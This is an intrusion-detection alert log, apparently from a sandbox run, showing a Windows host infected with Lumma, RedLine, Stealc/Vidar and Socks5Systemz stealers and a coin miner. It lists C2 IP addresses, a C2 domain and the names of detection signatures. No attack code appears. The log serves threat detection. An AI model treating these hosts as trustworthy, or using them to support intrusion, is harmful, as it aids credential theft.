2024-09-18T14:30:40.077566+0200	2028765	3	Unknown Traffic	192.168.2.7	49740	91.107.146.245	443	TCP
2024-09-18T14:30:42.215950+0200	2028765	3	Unknown Traffic	192.168.2.7	49741	91.107.146.245	443	TCP
2024-09-18T14:30:45.682524+0200	2028765	3	Unknown Traffic	192.168.2.7	49748	91.107.146.245	443	TCP
2024-09-18T14:30:46.590278+0200	2028765	3	Unknown Traffic	192.168.2.7	49753	91.107.146.245	443	TCP
2024-09-18T14:30:49.784604+0200	2028765	3	Unknown Traffic	192.168.2.7	49756	91.107.146.245	443	TCP
2024-09-18T14:30:52.097617+0200	2028765	3	Unknown Traffic	192.168.2.7	49760	91.107.146.245	443	TCP
2024-09-18T14:30:53.237133+0200	2028765	3	Unknown Traffic	192.168.2.7	49763	91.107.146.245	443	TCP
2024-09-18T14:30:54.535947+0200	2028765	3	Unknown Traffic	192.168.2.7	49767	91.107.146.245	443	TCP
2024-09-18T14:30:56.331404+0200	2028765	3	Unknown Traffic	192.168.2.7	49772	91.107.146.245	443	TCP
2024-09-18T14:30:58.317505+0200	2028765	3	Unknown Traffic	192.168.2.7	49781	91.107.146.245	443	TCP
2024-09-18T14:31:00.289616+0200	2028765	3	Unknown Traffic	192.168.2.7	49783	91.107.146.245	443	TCP
2024-09-18T14:31:02.898189+0200	2028765	3	Unknown Traffic	192.168.2.7	49786	91.107.146.245	443	TCP
2024-09-18T14:31:04.335594+0200	2028765	3	Unknown Traffic	192.168.2.7	49789	91.107.146.245	443	TCP
2024-09-18T14:31:07.901594+0200	2028765	3	Unknown Traffic	192.168.2.7	49793	91.107.146.245	443	TCP
2024-09-18T14:31:10.188545+0200	2028765	3	Unknown Traffic	192.168.2.7	49795	91.107.146.245	443	TCP
2024-09-18T14:31:12.947217+0200	2028765	3	Unknown Traffic	192.168.2.7	49797	91.107.146.245	443	TCP
2024-09-18T14:31:15.933747+0200	2028765	3	Unknown Traffic	192.168.2.7	49798	91.107.146.245	443	TCP
2024-09-18T14:31:19.380627+0200	2028765	3	Unknown Traffic	192.168.2.7	49799	91.107.146.245	443	TCP
2024-09-18T14:31:21.569910+0200	2028765	3	Unknown Traffic	192.168.2.7	49800	91.107.146.245	443	TCP
2024-09-18T14:31:26.944438+0200	2028765	3	Unknown Traffic	192.168.2.7	49802	91.107.146.245	443	TCP
2024-09-18T14:31:30.859153+0200	2028765	3	Unknown Traffic	192.168.2.7	49805	91.107.146.245	443	TCP
2024-09-18T14:31:33.637050+0200	2028765	3	Unknown Traffic	192.168.2.7	49810	91.107.146.245	443	TCP
2024-09-18T14:31:38.501183+0200	2028765	3	Unknown Traffic	192.168.2.7	49820	91.107.146.245	443	TCP
2024-09-18T14:31:40.328448+0200	2028765	3	Unknown Traffic	192.168.2.7	49824	91.107.146.245	443	TCP
2024-09-18T14:31:41.819004+0200	2028765	3	Unknown Traffic	192.168.2.7	49829	91.107.146.245	443	TCP
2024-09-18T14:31:43.404446+0200	2028765	3	Unknown Traffic	192.168.2.7	49833	91.107.146.245	443	TCP
2024-09-18T14:31:44.957040+0200	2028765	3	Unknown Traffic	192.168.2.7	49836	91.107.146.245	443	TCP
2024-09-18T14:31:51.181512+0200	2028765	3	Unknown Traffic	192.168.2.7	49844	91.107.146.245	443	TCP
2024-09-18T14:31:52.142538+0200	2028765	3	Unknown Traffic	192.168.2.7	49846	91.107.146.245	443	TCP
2024-09-18T14:31:55.471223+0200	2028765	3	Unknown Traffic	192.168.2.7	49851	91.107.146.245	443	TCP
2024-09-18T14:31:56.729334+0200	2028765	3	Unknown Traffic	192.168.2.7	49853	91.107.146.245	443	TCP
2024-09-18T14:31:59.160458+0200	2028765	3	Unknown Traffic	192.168.2.7	49857	91.107.146.245	443	TCP
2024-09-18T14:32:01.703259+0200	2028765	3	Unknown Traffic	192.168.2.7	49860	91.107.146.245	443	TCP
2024-09-18T14:32:05.081054+0200	2028765	3	Unknown Traffic	192.168.2.7	49862	91.107.146.245	443	TCP
2024-09-18T14:32:06.664958+0200	2028765	3	Unknown Traffic	192.168.2.7	49865	91.107.146.245	443	TCP
2024-09-18T14:32:08.117884+0200	2028765	3	Unknown Traffic	192.168.2.7	49867	91.107.146.245	443	TCP
2024-09-18T14:32:09.733977+0200	2028765	3	Unknown Traffic	192.168.2.7	49870	91.107.146.245	443	TCP
2024-09-18T14:32:10.735615+0200	2028765	3	Unknown Traffic	192.168.2.7	49872	91.107.146.245	443	TCP
2024-09-18T14:32:13.716445+0200	2028765	3	Unknown Traffic	192.168.2.7	49875	91.107.146.245	443	TCP
2024-09-18T14:32:14.768857+0200	2028765	3	Unknown Traffic	192.168.2.7	49877	91.107.146.245	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:43.451369+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49742	188.114.96.3	443	TCP
2024-09-18T14:30:45.446731+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49745	172.67.218.144	443	TCP
2024-09-18T14:30:46.423245+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49752	172.67.223.248	443	TCP
2024-09-18T14:30:48.287965+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49754	104.21.17.244	443	TCP
2024-09-18T14:30:49.302749+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49755	104.21.42.156	443	TCP
2024-09-18T14:30:50.267516+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49757	172.67.151.53	443	TCP
2024-09-18T14:30:52.394451+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49759	188.114.96.3	443	TCP
2024-09-18T14:30:53.402949+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49762	104.21.39.11	443	TCP
2024-09-18T14:30:54.535134+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49766	104.21.48.36	443	TCP
2024-09-18T14:30:56.869844+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49775	172.67.218.144	443	TCP
2024-09-18T14:30:58.195223+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49777	172.67.218.144	443	TCP
2024-09-18T14:30:59.941564+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49782	172.67.223.248	443	TCP
2024-09-18T14:31:01.002419+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49784	104.21.17.244	443	TCP
2024-09-18T14:31:03.283899+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49787	104.21.42.156	443	TCP
2024-09-18T14:31:04.476558+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49788	172.67.151.53	443	TCP
2024-09-18T14:31:05.599006+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49790	188.114.96.3	443	TCP
2024-09-18T14:31:06.610620+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49791	104.21.39.11	443	TCP
2024-09-18T14:31:07.783827+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49792	104.21.48.36	443	TCP
2024-09-18T14:31:31.836357+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49806	172.67.218.144	443	TCP
2024-09-18T14:31:33.744263+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49809	172.67.218.144	443	TCP
2024-09-18T14:31:34.833990+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49812	172.67.223.248	443	TCP
2024-09-18T14:31:37.034289+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49814	104.21.17.244	443	TCP
2024-09-18T14:31:38.074990+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49817	104.21.42.156	443	TCP
2024-09-18T14:31:39.709872+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49822	172.67.151.53	443	TCP
2024-09-18T14:31:40.804265+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49825	188.114.96.3	443	TCP
2024-09-18T14:31:41.849105+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49828	104.21.39.11	443	TCP
2024-09-18T14:31:42.968232+0200	2054653	1	A Network Trojan was detected	192.168.2.7	49831	104.21.48.36	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:43.451369+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49742	188.114.96.3	443	TCP
2024-09-18T14:30:45.446731+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49745	172.67.218.144	443	TCP
2024-09-18T14:30:46.423245+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49752	172.67.223.248	443	TCP
2024-09-18T14:30:48.287965+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49754	104.21.17.244	443	TCP
2024-09-18T14:30:49.302749+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49755	104.21.42.156	443	TCP
2024-09-18T14:30:50.267516+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49757	172.67.151.53	443	TCP
2024-09-18T14:30:52.394451+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49759	188.114.96.3	443	TCP
2024-09-18T14:30:53.402949+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49762	104.21.39.11	443	TCP
2024-09-18T14:30:54.535134+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49766	104.21.48.36	443	TCP
2024-09-18T14:30:56.869844+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49775	172.67.218.144	443	TCP
2024-09-18T14:30:58.195223+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49777	172.67.218.144	443	TCP
2024-09-18T14:30:59.941564+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49782	172.67.223.248	443	TCP
2024-09-18T14:31:01.002419+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49784	104.21.17.244	443	TCP
2024-09-18T14:31:03.283899+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49787	104.21.42.156	443	TCP
2024-09-18T14:31:04.476558+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49788	172.67.151.53	443	TCP
2024-09-18T14:31:05.599006+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49790	188.114.96.3	443	TCP
2024-09-18T14:31:06.610620+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49791	104.21.39.11	443	TCP
2024-09-18T14:31:07.783827+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49792	104.21.48.36	443	TCP
2024-09-18T14:31:31.836357+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49806	172.67.218.144	443	TCP
2024-09-18T14:31:33.744263+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49809	172.67.218.144	443	TCP
2024-09-18T14:31:34.833990+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49812	172.67.223.248	443	TCP
2024-09-18T14:31:37.034289+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49814	104.21.17.244	443	TCP
2024-09-18T14:31:38.074990+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49817	104.21.42.156	443	TCP
2024-09-18T14:31:39.709872+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49822	172.67.151.53	443	TCP
2024-09-18T14:31:40.804265+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49825	188.114.96.3	443	TCP
2024-09-18T14:31:41.849105+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49828	104.21.39.11	443	TCP
2024-09-18T14:31:42.968232+0200	2049836	1	A Network Trojan was detected	192.168.2.7	49831	104.21.48.36	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (sentistivowmi .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:42.849648+0200	2055835	1	Domain Observed Used for C2 Detected	192.168.2.7	49742	188.114.96.3	443	TCP

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:37.943442+0200	2043234	1	A Network Trojan was detected	193.233.255.84	4284	192.168.2.7	49738	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:37.536914+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:43.027615+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:44.885751+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:45.514428+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.007415+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.231561+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.642699+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:46.879679+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:49.549487+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:49.554892+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:51.807216+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:52.878925+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:56.960204+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.176675+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.400135+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.655061+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:57.871733+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.231645+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.528408+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.889263+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:58.894540+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:30:59.842669+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:00.171413+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:00.383138+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP
2024-09-18T14:31:00.668185+0200	2043231	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:43.241586+0200	2046056	1	A Network Trojan was detected	193.233.255.84	4284	192.168.2.7	49738	TCP

ET MALWARE Single char EXE direct download likely trojan (multiple families)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:07.267854+0200	2018581	1	A Network Trojan was detected	192.168.2.7	49705	103.130.147.211	80	TCP
2024-09-18T14:30:07.682720+0200	2018581	1	A Network Trojan was detected	192.168.2.7	49705	103.130.147.211	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sentistivowmi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:42.312912+0200	2055834	1	Domain Observed Used for C2 Detected	192.168.2.7	63813	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:34.757678+0200	2044245	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49731	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:33.110028+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.7	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:34.930437+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.7	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:35.864093+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.7	49731	46.8.231.109	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:35.155514+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.7	49731	TCP
2024-09-18T14:30:41.254747+0200	2044247	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49740	TCP
2024-09-18T14:31:44.107697+0200	2044247	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49833	TCP
2024-09-18T14:32:07.361601+0200	2044247	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49865	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:42.913682+0200	2051831	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49741	TCP
2024-09-18T14:31:45.637928+0200	2051831	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49836	TCP
2024-09-18T14:32:08.824724+0200	2051831	1	Malware Command and Control Activity Detected	91.107.146.245	443	192.168.2.7	49867	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:41.254532+0200	2049087	1	A Network Trojan was detected	192.168.2.7	49740	91.107.146.245	443	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:37.536914+0200	2046045	1	A Network Trojan was detected	192.168.2.7	49738	193.233.255.84	4284	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:31:30.584769+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49804	185.196.8.214	80	TCP
2024-09-18T14:31:31.595840+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49807	185.196.8.214	80	TCP
2024-09-18T14:31:33.327424+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49808	185.196.8.214	80	TCP
2024-09-18T14:31:34.307856+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49811	185.196.8.214	80	TCP
2024-09-18T14:31:35.287510+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49813	185.196.8.214	80	TCP
2024-09-18T14:31:36.964336+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49815	185.196.8.214	80	TCP
2024-09-18T14:31:37.925564+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49818	185.196.8.214	80	TCP
2024-09-18T14:31:39.000323+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49821	185.196.8.214	80	TCP
2024-09-18T14:31:40.290853+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49823	185.196.8.214	80	TCP
2024-09-18T14:31:41.242040+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49826	185.196.8.214	80	TCP
2024-09-18T14:31:42.144577+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49830	185.196.8.214	80	TCP
2024-09-18T14:31:43.135701+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49832	185.196.8.214	80	TCP
2024-09-18T14:31:44.147196+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49835	185.196.8.214	80	TCP
2024-09-18T14:31:45.069477+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49837	185.196.8.214	80	TCP
2024-09-18T14:31:45.996237+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49838	185.196.8.214	80	TCP
2024-09-18T14:31:47.544891+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49839	185.196.8.214	80	TCP
2024-09-18T14:31:48.487989+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49840	185.196.8.214	80	TCP
2024-09-18T14:31:49.411026+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49842	185.196.8.214	80	TCP
2024-09-18T14:31:50.470781+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49843	185.196.8.214	80	TCP
2024-09-18T14:31:51.421426+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49845	185.196.8.214	80	TCP
2024-09-18T14:31:52.365324+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49847	185.196.8.214	80	TCP
2024-09-18T14:31:53.321893+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49848	185.196.8.214	80	TCP
2024-09-18T14:31:54.306328+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49849	185.196.8.214	80	TCP
2024-09-18T14:31:55.384648+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49850	185.196.8.214	80	TCP
2024-09-18T14:31:56.481629+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49852	185.196.8.214	80	TCP
2024-09-18T14:31:57.618383+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49854	185.196.8.214	80	TCP
2024-09-18T14:31:58.480104+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49856	185.196.8.214	80	TCP
2024-09-18T14:31:59.433719+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49858	185.196.8.214	80	TCP
2024-09-18T14:32:01.702429+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49859	185.196.8.214	80	TCP
2024-09-18T14:32:02.618711+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49861	185.196.8.214	80	TCP
2024-09-18T14:32:05.328823+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49863	185.196.8.214	80	TCP
2024-09-18T14:32:06.307282+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49864	185.196.8.214	80	TCP
2024-09-18T14:32:07.329400+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49866	185.196.8.214	80	TCP
2024-09-18T14:32:08.283903+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49868	185.196.8.214	80	TCP
2024-09-18T14:32:09.158775+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49869	185.196.8.214	80	TCP
2024-09-18T14:32:09.504162+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49869	185.196.8.214	80	TCP
2024-09-18T14:32:10.541271+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49871	185.196.8.214	80	TCP
2024-09-18T14:32:11.402845+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49873	185.196.8.214	80	TCP
2024-09-18T14:32:11.787892+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49873	185.196.8.214	80	TCP
2024-09-18T14:32:12.608903+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:12.968094+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:13.327423+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:13.677441+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49874	185.196.8.214	80	TCP
2024-09-18T14:32:14.502186+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49876	185.196.8.214	80	TCP
2024-09-18T14:32:15.313235+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49878	185.196.8.214	80	TCP
2024-09-18T14:32:16.159537+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49879	185.196.8.214	80	TCP
2024-09-18T14:32:16.994396+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49880	185.196.8.214	80	TCP
2024-09-18T14:32:17.883905+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49881	185.196.8.214	80	TCP
2024-09-18T14:32:18.701335+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49882	185.196.8.214	80	TCP
2024-09-18T14:32:19.526016+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49883	185.196.8.214	80	TCP
2024-09-18T14:32:20.373408+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49884	185.196.8.214	80	TCP
2024-09-18T14:32:20.735796+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49884	185.196.8.214	80	TCP
2024-09-18T14:32:21.551132+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:21.895662+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:22.260318+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49885	185.196.8.214	80	TCP
2024-09-18T14:32:23.097864+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49886	185.196.8.214	80	TCP
2024-09-18T14:32:23.929071+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49887	185.196.8.214	80	TCP
2024-09-18T14:32:24.746380+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49888	185.196.8.214	80	TCP
2024-09-18T14:32:25.559298+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49889	185.196.8.214	80	TCP
2024-09-18T14:32:25.912420+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49889	185.196.8.214	80	TCP
2024-09-18T14:32:26.748254+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49890	185.196.8.214	80	TCP
2024-09-18T14:32:27.588281+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49891	185.196.8.214	80	TCP
2024-09-18T14:32:28.395406+0200	2049467	1	A Network Trojan was detected	192.168.2.7	49892	185.196.8.214	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:32.792223+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49731	46.8.231.109	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:02.016109+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.7	49774	45.76.89.70	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:36.102429+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:42.608829+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:44.744594+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:45.579085+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:46.245876+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:48.394950+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:49.073142+0200	2803304	3	Unknown Traffic	192.168.2.7	49731	46.8.231.109	80	TCP
2024-09-18T14:30:53.372045+0200	2803304	3	Unknown Traffic	192.168.2.7	49764	167.114.163.236	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-18T14:30:07.682720+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49705	103.130.147.211	80	TCP
2024-09-18T14:30:07.880222+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49706	147.45.44.104	80	TCP
2024-09-18T14:30:08.025002+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49703	176.113.115.33	80	TCP
2024-09-18T14:30:08.062320+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49704	147.45.44.104	80	TCP
2024-09-18T14:30:08.707580+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49704	147.45.44.104	80	TCP
2024-09-18T14:30:10.186934+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49714	185.166.143.50	443	TCP
2024-09-18T14:30:10.319837+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49721	167.114.163.236	443	TCP
2024-09-18T14:30:10.320917+0200	2803270	2	Potentially Bad Traffic	192.168.2.7	49720	167.114.163.236	443	TCP
